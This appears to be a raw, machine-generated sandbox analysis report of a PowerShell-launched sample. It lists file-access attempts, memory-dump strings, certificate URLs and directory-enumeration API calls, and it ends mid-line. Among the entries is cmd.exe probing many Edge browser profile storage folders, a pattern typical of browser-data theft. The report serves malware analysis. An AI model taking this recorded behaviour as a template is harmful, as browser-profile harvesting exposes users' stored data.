"C:\WINDOWS\System32\WindowsPowerShell\v1.0\MSVCP140.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\VCRUNTIME140.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\VCRUNTIME140.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\VCRUNTIME140_1.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\VCRUNTIME140_1.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll"4c:Td06,"cmd.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\Local Storage" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Autofill\Local Storage" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\Local Storage" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\Local Storage" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation\Local Storage" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\Local Storage" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Crashpad\Local Storage" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\DeferredBrowserMetrics\Local Storage" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Domain Actions\Local Storage" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\EADPData Component\Local Storage" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\Local Storage" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Edge Data Protection Lists\Local Storage" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Edge Notifications\Local Storage" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\Local Storage" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\Local Storage" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\Local Storage" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\FirstPartySetsPreloaded\Local Storage" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\Local Storage" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\Local Storage" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\hyphen-data\Local Storage" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\MEIPreload\Local Storage" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Nurturing\Local Storage" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\OriginTrials\Local Storage" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PKIMetadata\Local Storage"4d:T482,Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00007064.00000000.112604.064A0000.00000004.mdmp, 00000000-00007064.00000001.113650.064A0000.00000004.mdmp") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp, 00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found reference to API "To enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00007064.00000001.113650.20D77000.00000004.mdmp") Found reference to API "Note: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00007064.00000001.113650.20D77000.00000004.mdmp") Found reference to API "ssociated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00007064.00000001.113650.20D77000.00000004.mdmp")4e:T6595,Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm'x" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcdigicert" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;+>%ydigicert" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130path=c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\users\hapubws\appdata\roaming\nvm;%nvm_symlink%;c:\windows\system32\openssh\;c:\users\hapubws\appdata\local\programs\python\python311\scripts\;c:\users\hapubws\appdata\local\programs\python\python311\;c:\users\hapubws\appdata\local\microsoft\windowsapps;c:\program" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0western" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmcom1" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmax" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://www.microsoft.comrpromicrosoft.management.infrastructure.dllwvtasn1spcpeimagedatadecodewvtasn1spcindirectdatacontentdecode1.3.6.1.4.1.601.10.3.1wvtasn1catmemberinfodecodewvtasn1spcfinancialcriteriainfodecodewvtasn1catmemberinfo2decodewvtasn1spcspagencyinfodecodesslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtwvtasn1catmemberinfo2decodewvtasn1spcspopusinfodecodewvtasn1spcspopusinfodecodewvtasn1sealingtimestampattributedecodewvtasn1spcminimalcriteriainfodecodewvtasn1sealingsignatureattributedecodewvtasn1sealingtimestampattributedecodewvtasn1catmemberinfodecodewvtasn1spcstatementtypedecodewvtasn1spcspagencyinfodecodewvtasn1sealingtimestampattributeencodewvtasn1spcminimalcriteriainfodecode1.3.6.1.4.1.311.12.1.3wvtasn1spcpeimagedatadecode1.3.6.1.4.1.311.12.2.1wvtasn1catnamevaluedecodewvtasn1intenttosealattributedecodemicrosoft.management.infrastructure.dllwvtasn1spcindirectdatacontentdecodewvtasn1intenttosealattributedecodewvtasn1sealingsignatureattributedecode1.3.6.1.4.1.311.12.1.1wvtasn1spcstatementtypedecode1.3.6.1.4.1.311.12.2.31.3.6.1.4.1.311.76.509.1.1wvtasn1spcfinancialcriteriainfodecode*gq?owvtasn1catnamevaluedecode1.3.6.1.4.1.311.60.3.2zedv51.3.6.1.4.1.311.10.3.6i$" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>" - Source: "00000000-00007064.00000000.112604.20A35000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00007064.00000000.112604.20BC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00007064.00000000.112604.20BC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00007064.00000000.112604.20BC0000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00007064.00000000.112604.20BC0000.00000004.mdmp") Found URL "http://www.microsoft.com0" - Source: "00000000-00007064.00000000.112604.20BC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00007064.00000000.112604.20BC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00007064.00000000.112604.20BC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00007064.00000000.112604.20BC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00007064.00000000.112604.20BC0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>1.3.6.1.4.1.601.10.3.12.16.840.1.101.3.4.2.1washington1redmond1microsoft" - Source: "00000000-00007064.00000000.112604.20BC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0m$57wjuo" - Source: "00000000-00007064.00000001.113650.064A0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00007064.00000001.113650.209E0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00007064.00000001.113650.209E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm'x" - Source: "00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcdigicert" - Source: "00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;+>%ydigicert" - Source: "00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0western" - Source: "00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmcom1" - Source: "00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmax" - Source: "00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00007064.00000001.113650.20A35000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00007064.00000001.113650.20BC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00007064.00000001.113650.20BC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00007064.00000001.113650.20BC0000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00007064.00000001.113650.20BC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00007064.00000001.113650.20BC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0dyd!0[p%0" - Source: "00000000-00007064.00000001.113650.20BC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00007064.00000001.113650.20BC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00007064.00000001.113650.20BC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0gv" - Source: "00000000-00007064.00000001.113650.20D2B000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00007064.00000001.113650.20D2B000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0'.b!" - Source: "00000000-00007064.00000001.113650.20D2B000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0/b(lzu(v" - Source: "00000000-00007064.00000001.113650.20D2B000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/windows%20production%20pca%202023.crl0g[0y0wkhttp://www.microsoft.com/pkiops/certs/windows%20production%20pca%202023.crt0a08." - Source: "00000000-00007064.00000001.113650.20D2B000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00007064.00000001.113650.20D2B000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00007064.00000001.113650.20D2B000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0mpfa=" - Source: "00000000-00007064.00000001.113650.20D2B000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00007064.00000001.113650.20D40000.00000004.mdmp") Found URL "http://wl/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00007064.00000001.113650.20D40000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/1-10osofwzcq_7u@hl5" - Source: "00000000-00007064.00000001.113650.20D40000.00000004.mdmp") Found URL "http://www.microsoft.com0" - Source: "00000000-00007064.00000001.113650.20D40000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00007064.00000001.113650.20D40000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00007064.00000001.113650.20D40000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00007064.00000001.113650.20D40000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/windows%20production%20pca%202023.crl0g[0y0wkhttp://www.microsoft.com/pkiops/certs/windows%20production%20pca%202023.crt0vd!7i6u4$i<-o_-!dq" - Source: "00000000-00007064.00000001.113650.20D6A000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00007064.00000001.113650.20D6A000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt00_1t?lvbp)r" - Source: "00000000-00007064.00000001.113650.20D6A000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0nameproprsa1" - Source: "00000000-00007064.00000001.113650.20D77000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00007064.00000001.113650.20D77000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0:'l$zmsnc" - Source: "00000000-00007064.00000001.113650.20D77000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00007064.00000001.113650.20D77000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0::vm4" - Source: "00000000-00007064.00000001.113650.20D77000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0w" - Source: "00000000-00007064.00000001.113650.20D77000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0encne=5n" - Source: "00000000-00007064.00000001.113650.20D77000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0ahq.a)d$g5" - Source: "00000000-00007064.00000001.113650.20D77000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0" - Source: "00000000-00007064.00000001.113650.20D77000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0qhwbs-ztxnw,xzz" - Source: "00000000-00007064.00000001.113650.20D77000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0!2eshttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00007064.00000001.113650.20D77000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00007064.00000001.113650.20DAB000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0sjg" - Source: "00000000-00007064.00000001.113650.20DAB000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00007064.00000001.113650.20DAB000.00000004.mdmp") Found URL "http://www.ml.com/pkiops/docsory.htm0a0?:redmondredmondw-osw-osw-osw-osw-osw-os" - Source: "00000000-00007064.00000001.113650.20DAB000.00000004.mdmp")4f:T757,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00007064) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00007064) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00007064) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00007064) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00007064) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00007064) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00007064) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00007064) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00007064) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00007064) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 